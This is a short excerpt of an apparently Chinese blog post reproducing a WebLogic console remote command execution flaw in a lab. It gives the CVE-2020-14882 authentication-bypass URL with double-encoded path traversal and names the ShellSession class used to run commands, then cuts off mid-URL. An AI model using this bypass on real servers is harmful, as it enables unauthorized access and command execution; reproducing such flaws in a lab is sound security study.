weblogic管理控制台未授权远程命令执行漏洞复现
环境搭建访问http://192.168.43.8:7001/console即可查看到后台登录页面绕过认证直接访问后台首先测试权限绕过漏洞(CVE-2020-14882),直接访问http://192.168.43.8:7001/console/css/%252e%252e%252fconsole.portal直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:http://y.
原创
2022-04-14 20:27:33 ·
1990 阅读 ·
0 评论